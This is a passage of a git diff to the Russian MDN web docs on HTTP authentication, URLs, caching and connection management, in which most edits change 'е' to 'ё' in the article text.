описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.</p> +<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространённой схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с её использованием.</p> <h2 id="Общий_механизм_HTTP_авторизации">Общий механизм HTTP авторизации</h2> @@ -24,9 +24,9 @@ original_slug: Web/HTTP/Авторизация <p>Этот же механизм запроса и ответа может быть использован для <em>прокси-авторизации</em>. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с <em>прокси</em>, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.</p> -<h3 id="Доступ_запрещен">Доступ запрещен</h3> +<h3 id="Доступ_запрещён">Доступ запрещён</h3> -<p>Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p> +<p>Если (прокси) сервер получает корректные учётные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} <code>Forbidden</code>. В отличии от статус кода {{HTTPStatus("401")}} <code>Unauthorized</code> или {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, аутентификация для этого пользователя не возможна.</p> <h3 id="Аутентификация_с_помощью_изображений">Аутентификация с помощью изображений</h3> diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html index debd21c8bf..279ebe5439 100644 --- a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -140,14 +140,14 @@ urn:ietf:rfc:7230 <dl> <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> - <dd><code>?key1=value1&key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом <code>&</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd> + <dd><code>?key1=value1&key2=value2</code> - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделённых символом <code>&</code> . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчёт параметров, и единственный надёжный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.</dd> </dl> <h3 id="Фрагмент">Фрагмент</h3> <dl> <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> - <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd> + <dd><code>#SomewhereInTheDocument</code> - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру указание показать содержимое с определённого места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.</dd> </dl> <h2 id="Заметки_по_использованию">Заметки по использованию</h2> diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html index 415e4b9a5d..6bc0c3bc46 100644 --- a/files/ru/web/http/basics_of_http/index.html +++ b/files/ru/web/http/basics_of_http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Basics_of_HTTP --- <div>{{HTTPSidebar}}</div> -<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.</p> +<p>HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путём создания новых HTTP-методов или заголовков.</p> <h2 id="Статьи">Статьи</h2> @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Basics_of_HTTP <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt> <dd>HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.</dd> <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Negotiating_an_HTTP_version">Обсуждение версии HTTP</a></dt> - <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. </dd> + <dd>Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счёте перейти на более новую версию протокола. </dd> <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Resources and URIs</a></dt> <dd>A brief introduction of the notion of resources, identifiers, and locations on the Web.</dd> <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a></dt> diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html index 1b9703c33d..7ed2a10da0 100644 --- a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html +++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types --- <div>{{HTTPSidebar}}</div> -<div>Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.</div> +<div>Здесь представлен исчерпывающий список типов MIME, соотнесённых с типами документов и отсортированных по расширению.</div> <div></div> diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 9e6efe7d3e..d292181c07 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -11,13 +11,13 @@ original_slug: Web/HTTP/Кэширование --- <div>{{HTTPSidebar}}</div> -<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p> +<p><strong>Производительность веб-сайтов и приложений можно значительно повысить за счёт повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.</strong></p> <h2 id="Различные_виды_кеширования">Различные виды кеширования</h2> -<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p> +<p>Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передаётся быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.</p> -<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.</p> +<p>Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надёжности, производительности и масштабируемости веб-сайтов и веб-приложений.</p> <p><br> <br> @@ -27,7 +27,7 @@ original_slug: Web/HTTP/Кэширование <h3 id="Приватный_private_кеш_браузера">Приватный (private) кеш браузера</h3> -<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p> +<p>Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперёд, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.</p> <h3 id="Общий_shared_прокси-кеш">Общий (shared) прокси-кеш</h3> @@ -35,7 +35,7 @@ original_slug: Web/HTTP/Кэширование <h2 id="Цели_кеширования">Цели кеширования</h2> -<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p> +<p>Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохранённые ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.</p> <p>Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:</p> @@ -49,7 +49,7 @@ original_slug: Web/HTTP/Кэширование </li> </ul> -<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.</p> +<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвящённом заголовку {{HTTPHeader("Vary")}}.</p> <h2 id="Управление_кешированием"><span class="long_text short_text" id="result_box" lang="ru"><span>Управление</span> </span>кеш<span class="long_text short_text" lang="ru"><span>ированием</span></span></h2> @@ -89,23 +89,23 @@ Cache-Control: public <h4 id="Проверка_актуальности">Проверка актуальности</h4> -<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> +<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> <pre class="notranslate">Cache-Control: must-revalidate</pre> <h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3> -<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p> +<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надёжной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p> -<h2 id="Свежесть_сохраненной_копии"><a id="Freshness" name="Freshness">Свежесть сохраненной копии</a></h2> +<h2 id="Свежесть_сохранённой_копии"><a id="Freshness" name="Freshness">Свежесть сохранённой копии</a></h2> -<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять. Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.</p> +<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять. Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохранённой копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении её срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все ещё актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.</p> <p>Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:</p> <p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> -<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> +<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> Время устаревания (expirationTime) вычисляется следующим образом:</p> <pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge @@ -115,9 +115,9 @@ Cache-Control: public <h3 id="Обновление_статических_ресурсов_Revved_resources">Обновление статических ресурсов (Revved resources)</h3> -<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p> +<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование даёт больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p> -<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p> +<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечёт за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p> <p>Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.</p> @@ -133,7 +133,7 @@ Cache-Control: public <h3 id="Заголовки_ETag">Заголовки ETag</h3> -<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p> +<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет её значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p> <p>Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок <code>Last-Modified</code>, то для валидации кешированного документа клиент может выводить в запросах заголовок {{HTTPHeader("If-Modified-Since")}}.</p> @@ -143,7 +143,7 @@ Cache-Control: public <p>Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.</p> -<p>Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.</p> +<p>Если кеш получает запрос, который можно удовлетворить сохранённым в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохранённого в кеше) запроса и нового запроса.</p> <p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html index 4b75db2059..7b27e036fe 100644 --- a/files/ru/web/http/connection_management_in_http_1.x/index.html +++ b/files/ru/web/http/connection_management_in_http_1.x/index.html @@ -19,27 +19,27 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>В HTTP/2 внесены дополнительные модели управления соединением.</p> </div> -<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу" (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p> +<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу" (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлечённые в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p> <h2 id="Краткосрочные_соединения_Short-lived_connections">Краткосрочные соединения (Short-lived connections)</h2> <p>Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются <em>краткосрочные соединения</em> <em>(short-lived connections)</em>. Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.</p> -<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p> +<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или тёплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p> <p>Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является<code> close</code>). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением <code>close</code>.</p> <div class="note"> -<p>Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p> +<p>Если речь не идёт об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p> </div> <h2 id="Постоянные_соединения">Постоянные соединения</h2> -<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), еще до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p> +<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (тёплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), ещё до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p> -<p>Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p> +<p>Постоянным называют соединение, которое остаётся открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остаётся открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p> -<p>У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p> +<p>У постоянных соединений есть свои недочёты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p> <p>Соединения HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от <code>close</code> - обычно <code>retry-after.</code></p> @@ -51,17 +51,17 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:</p> <ul> - <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.</li> - <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.</li> + <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все ещё встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.</li> + <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, даёт существенное улучшение не во всех случаях.</li> <li>Конвейерная обработка подвержена проблеме <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li> </ul> -<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, <em>мультиплексность (multiplexing</em>).</p> +<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришёл новый алгоритм, <em>мультиплексность (multiplexing</em>).</p> </div> -<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p> +<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдаётся только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p> -<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p> +<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счёт упаковки двух запросов HTTP в одно и то же сообщение TCP. 